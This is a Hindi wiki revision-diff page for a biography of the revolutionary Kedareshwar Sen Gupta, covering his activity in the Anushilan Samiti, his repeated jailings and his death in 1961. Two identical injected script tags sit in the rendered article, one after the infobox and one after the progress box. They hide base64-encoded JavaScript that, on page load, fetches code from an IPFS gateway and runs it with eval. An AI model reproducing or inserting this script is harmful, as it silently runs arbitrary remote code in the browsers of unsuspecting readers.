"केदारेश्वर सेन गुप्ता" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "अविभावक" to "अभिभावक")
 
(2 सदस्यों द्वारा किये गये बीच के 2 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
{{पुनरीक्षण}}
+
{{सूचना बक्सा स्वतन्त्रता सेनानी
केदारेश्वर सेन गुप्ता (जन्म- [[दिसंबर]], [[1894]] ढाका ज़िले पूर्वी [[बंगाल]], मृत्यु-[[7 अक्टूबर]], [[1961]]) एक क्रांतिकारी व्यक्ति थे।   
+
|चित्र=blankimage.png
 +
|चित्र का नाम=
 +
|पूरा नाम=केदारेश्वर सेन गुप्ता
 +
|अन्य नाम=
 +
|जन्म=[[दिसंबर]], [[1894]]
 +
|जन्म भूमि=[[पूर्वी बंगाल]]
 +
|मृत्यु= [[7 अक्टूबर]], [[1961]]
 +
|मृत्यु स्थान=
 +
|मृत्यु कारण=
 +
|अभिभावक=
 +
|पति/पत्नी=
 +
|संतान=
 +
|स्मारक=
 +
|क़ब्र=
 +
|नागरिकता=भारतीय
 +
|प्रसिद्धि=
 +
|धर्म=
 +
|आंदोलन=
 +
|जेल यात्रा=
 +
|कार्य काल=
 +
|विद्यालय=
 +
|शिक्षा=
 +
|पुरस्कार-उपाधि=
 +
|विशेष योगदान=स्वतंत्रता के बाद उन्होंने क्रांतिकारियों के स्वप्न-साकार के उद्देश्य से ‘अनुशीलन भवन’ की स्थापना की।
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
'''केदारेश्वर सेन गुप्ता''' ([[अंग्रेज़ी]]: ''Kedareshwar Sen Gupta'', जन्म: [[दिसंबर]], [[1894]] - मृत्यु:[[7 अक्टूबर]], [[1961]]) एक क्रांतिकारी व्यक्ति थे।   
 
==जीवन परिचय==
 
==जीवन परिचय==
 +
केदारेश्वर विद्यार्थी जीवन में ही वे 'अनुशीलन समिति’ के नेता पुलिन बिहारी दास के संपर्क में आए और शीघ्र ही उनकी गणना क्रांतिकारी दल के प्रमुख व्यक्तियों में होने लगी। [[शचीन्द्र नाथ सान्याल|शचीन्द्र सान्याल]] उस समय [[उत्तर प्रदेश]] में क्रांतिकारियों के नेता थे। उनकी गिरफ्तारी और [[रास बिहारी बोस]] के [[जापान]] चले जाने के बाद केदारेश्वर को पार्टी को संगठित करने के लिए [[वाराणसी]] भेजा गया। उन्होंने वाराणसी सेंट्रल हिन्दू कॉलेज में प्रवेश लिया पर शीघ्र ही पुलिस उनके पीछे लग गई इसलिए वे बंगाल वापस चले गए। वहाँ भी उन्होंने फरार रहकर ही दल का काम आरंभ किया। [[1917]] में वे पुलिस की पकड़ में आ गए और [[1919]] तक [[हज़ारीबाग़]] जेल में बंद रहे। <br />
 +
जेल से बाहर आने के बाद उन्होंने रुई का व्यापार आरंभ किया। किंतु इससे जो लाभ होता उसे क्रांतिकारी दल के कामों में लगाते रहे क्योंकि उन्होंने अपना सर्वस्व देश को ही समर्पित कर दिया था। व्यापार के सिलसिले में [[मुंबई]] गए थे कि फिर गिरफ्तार करके बंगाल के बरहांगपुर जेल में डाल दिए गए। वहाँ जेल कर्मचारियों के दुर्व्यवहार के विरोध में उन्होंने लंबी भूख हड़ताल की और इससे बिगड़े स्वास्थ्य के कारण उन्हें [[क्षय रोग]] ने जकड़ लिया। गिरते स्वास्थ्य को देखते हुए जेल से छोड़कर उन्हें घर पर ही नजरबंद कर दिया गया। कुछ समय बाद छूटे तो [[1941]] से [[1946]] तक फिर जेल में डाल दिए गए। बाद में वे [[पूर्वी बंगाल]] से [[कोलकाता]] आ गए थे। स्वतंत्रता के बाद उन्होंने क्रांतिकारियों के स्वप्न-साकार के उद्देश्य से ‘अनुशीलन भवन’ की स्थापना की।
 +
==मृत्यु==
 +
व्यक्तिगत सुविधाओं की सदा उपेक्षा करने वाले केदारेश्वर सेन गुप्ता देशभक्त ने [[7 अक्टूबर]], [[1961]] को अंतिम सांस ली।
  
केदारेश्वर विद्यार्थी जीवन में ही वे 'अनुशीलन समिति’ के नेता पुलिन बिहारी दास के संपर्क में आए और शीघ्र ही उनकी गणना क्रांतिकारी दल के प्रमुख व्यक्तियों में होने लगी। शचीन्द्र सान्याल उस समय [[उत्तर प्रदेश]] में क्रांतिकारियों के नेता थे। उनकी गिरफ्तारी और रास बिहारी बोस के [[जापान]] चले जाने के बाद केदारेश्वर को पार्टी को संगठित करने के लिए [[वाराणसी]] भेजा गया। उन्होंने वाराणसी सेंट्रल हिन्दू कॉलेज में प्रवेश लिया पर शीघ्र ही पुलिस उनके पीछे लग गई इसलिए वे बंगाल वापस चले गए। वहाँ भी उन्होंने फरार रहकर ही दल का काम आरंभ किया। [[1917]] में वे पुलिस की पकड़ में आ गए और [[1919]] तक [[हज़ारीबाग़]] जेल में बंद रहे।
 
 
जेल से बाहर आने के बाद उन्होंने रुई का व्यापार आरंभ किया। किंतु इससे जो लाभ होता उसे क्रांतिकारी दल के कामों में लगाते रहे क्योंकि उन्होंने अपना सर्वस्व देश को ही समर्पित कर दिया था। व्यापार के सिलसिले में [[मुंबई]] गए थे कि फिर गिरफ्तार करके बंगाल के बरहांगपुर जेल में डाल दिए गए। वहाँ जेल कर्मचारियों के दुर्व्यवहार के विरोध में उन्होंने लंबी भूख हड़ताल की और इससे बिगड़े स्वास्थ्य के कारण उन्हें क्षय रोग ने जकड़ लिया। गिरते स्वास्थ्य को देखते हुए जेल से छोड़कर उन्हें घर पर ही नजरबंद कर दिया गया। कुछ समय बाद छूटे तो [[1941]] से [[1946]] तक फिर जेल में डाल दिए गए। बाद में वे पूर्वी बंगाल से [[कोलकाता]] आ गए थे। स्वतंत्रता के बाद उन्होंने क्रांतिकारियों के स्वप्न-साकार के उद्देश्य से ‘अनुशीलन भवन’ की स्थापना की।
 
==मृत्यु==
 
व्यक्तिगत सुविधाओं की सदा उपेक्षा करने वाले केदारेश्वर सेन गुप्ता देशभक्त ने 7 अक्टूबर, 1961 को अंतिम सांस ली।
 
  
{{प्रचार}}
+
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
पंक्ति 19: पंक्ति 49:
 
{{स्वतन्त्रता सेनानी}}
 
{{स्वतन्त्रता सेनानी}}
 
[[Category:स्वतन्त्रता सेनानी]][[Category:चरित कोश]][[Category:इतिहास कोश]][[Category:राजनीतिज्ञ]]
 
[[Category:स्वतन्त्रता सेनानी]][[Category:चरित कोश]][[Category:इतिहास कोश]][[Category:राजनीतिज्ञ]]
[[Category:नया पन्ना]]
 
  
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

04:58, 29 मई 2015 के समय का अवतरण

केदारेश्वर सेन गुप्ता
Blankimage.png
पूरा नाम केदारेश्वर सेन गुप्ता
जन्म दिसंबर, 1894
जन्म भूमि पूर्वी बंगाल
मृत्यु 7 अक्टूबर, 1961
नागरिकता भारतीय
विशेष योगदान स्वतंत्रता के बाद उन्होंने क्रांतिकारियों के स्वप्न-साकार के उद्देश्य से ‘अनुशीलन भवन’ की स्थापना की।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

केदारेश्वर सेन गुप्ता (अंग्रेज़ी: Kedareshwar Sen Gupta, जन्म: दिसंबर, 1894 - मृत्यु:7 अक्टूबर, 1961) एक क्रांतिकारी व्यक्ति थे।

जीवन परिचय

केदारेश्वर विद्यार्थी जीवन में ही वे 'अनुशीलन समिति’ के नेता पुलिन बिहारी दास के संपर्क में आए और शीघ्र ही उनकी गणना क्रांतिकारी दल के प्रमुख व्यक्तियों में होने लगी। शचीन्द्र सान्याल उस समय उत्तर प्रदेश में क्रांतिकारियों के नेता थे। उनकी गिरफ्तारी और रास बिहारी बोस के जापान चले जाने के बाद केदारेश्वर को पार्टी को संगठित करने के लिए वाराणसी भेजा गया। उन्होंने वाराणसी सेंट्रल हिन्दू कॉलेज में प्रवेश लिया पर शीघ्र ही पुलिस उनके पीछे लग गई इसलिए वे बंगाल वापस चले गए। वहाँ भी उन्होंने फरार रहकर ही दल का काम आरंभ किया। 1917 में वे पुलिस की पकड़ में आ गए और 1919 तक हज़ारीबाग़ जेल में बंद रहे।
जेल से बाहर आने के बाद उन्होंने रुई का व्यापार आरंभ किया। किंतु इससे जो लाभ होता उसे क्रांतिकारी दल के कामों में लगाते रहे क्योंकि उन्होंने अपना सर्वस्व देश को ही समर्पित कर दिया था। व्यापार के सिलसिले में मुंबई गए थे कि फिर गिरफ्तार करके बंगाल के बरहांगपुर जेल में डाल दिए गए। वहाँ जेल कर्मचारियों के दुर्व्यवहार के विरोध में उन्होंने लंबी भूख हड़ताल की और इससे बिगड़े स्वास्थ्य के कारण उन्हें क्षय रोग ने जकड़ लिया। गिरते स्वास्थ्य को देखते हुए जेल से छोड़कर उन्हें घर पर ही नजरबंद कर दिया गया। कुछ समय बाद छूटे तो 1941 से 1946 तक फिर जेल में डाल दिए गए। बाद में वे पूर्वी बंगाल से कोलकाता आ गए थे। स्वतंत्रता के बाद उन्होंने क्रांतिकारियों के स्वप्न-साकार के उद्देश्य से ‘अनुशीलन भवन’ की स्थापना की।

मृत्यु

व्यक्तिगत सुविधाओं की सदा उपेक्षा करने वाले केदारेश्वर सेन गुप्ता देशभक्त ने 7 अक्टूबर, 1961 को अंतिम सांस ली।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ


लीलाधर, शर्मा भारतीय चरित कोश (हिन्दी)। भारतडिस्कवरी पुस्तकालय: शिक्षा भारती, 189।

बाहरी कड़ियाँ

संबंधित लेख